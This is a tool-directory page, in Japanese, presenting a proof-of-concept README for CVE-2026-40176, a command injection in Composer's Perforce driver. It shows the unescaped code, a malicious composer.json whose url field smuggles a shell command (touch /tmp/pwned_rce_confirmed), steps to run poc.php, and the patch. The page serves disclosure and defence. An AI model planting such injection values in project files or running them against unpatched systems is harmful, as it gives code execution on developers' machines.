Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40176-poc — CVE-2026-40176の概念実証。ComposerのPerforceドライバーにおけるOSコマンドインジェクションで、巧妙に細工されたcomposer.jsonを介してリモートコード実行を可能にします。 | Kitploit
ツール/GitHubGitHub/saku0512/cve-2026-40176-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用コマンド&コントロール学習と教育ペイロード開発
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

CVE-2026-40176の概念実証。ComposerのPerforceドライバーにおけるOSコマンドインジェクションで、巧妙に細工されたcomposer.jsonを介してリモートコード実行を可能にします。

リポジトリを見る
222ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-40176: Composer Perforce OSコマンドインジェクション PoC

English version

概要

このリポジトリは、Composer の Perforce VCSドライバに存在する重大なOSコマンドインジェクション脆弱性 CVE-2026-40176 のProof of Concept (PoC) です。この脆弱性は、Composer 2.2.27および2.9.6より前のバージョンに影響します。

脆弱性は Perforce::generateP4Command() メソッドに存在します。シェルコマンドを組み立てる際、url、p4user、client などのリポジトリ設定値に対するサニタイズが不十分なため、攻撃者が制御する composer.json を使って、被害者が composer install または composer update を実行したタイミングで任意のコマンドを実行できる可能性があります。

発見者: saku0512 (GitHub)

免責事項

このプロジェクトは、教育目的および許可された倫理的なセキュリティ検証のみを目的としています。

本ツールの誤用、損害、違法行為について、作者は一切の責任を負いません。許可なくコンピュータシステムへアクセスする行為は違法です。このソフトウェアを使用する場合、明示的な許可を得た環境でのみセキュリティ検証を行うことに同意したものとみなされます。

脆弱性の詳細

  • CVE ID: CVE-2026-40176
  • 種別: OSコマンドインジェクション (CWE-78)
  • 影響: リモートコード実行 (RCE)
  • 影響を受けるバージョン:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • 修正済みバージョン: v2.2.27 / v2.9.6

根本原因

src/Composer/Util/Perforce.php の generateP4Command() メソッドでは、リポジトリ設定から取得した文字列を直接連結してシェルコマンドを構築しています。

root@kitploit:~
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // エスケープされていない
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // エスケープされていない
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // エスケープされていない

これらの値に ;、&、| などのシェルメタ文字が含まれている場合、シェルによって解釈され、コマンドインジェクションにつながります。

PoCの使い方

1. 環境準備

PHPがインストールされていることを確認してください。このPoCは、Composer内部の脆弱なロジックを再現します。

root@kitploit:~
# PHPのバージョン確認
php -v

2. 設定例(悪意あるcomposer.json)

攻撃者は、次のような composer.json を作成できます。

root@kitploit:~
{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. PoCの実行

同梱の poc.php は、脆弱なComposerバージョンにおける内部コマンド生成および実行ロジックを再現します。

root@kitploit:~
# PoCを実行
php poc.php

4. 検証

ペイロードによって作成されるファイルが存在するか確認し、コマンドが実行されたかを検証します。

root@kitploit:~
ls -l /tmp/pwned_rce_confirmed

ファイルが存在する場合、RCEが成立したことを確認できます。

対策

Composerを直ちに最新バージョンへアップデートしてください。

root@kitploit:~
composer self-update

修正では、シェルによる解釈を防ぐため、ユーザー入力由来のすべての引数に ProcessExecutor::escape() を適用します。

参考情報

  • CVE-2026-40176 (cve.org)
  • Composer Security Advisory
ツールをダウンロード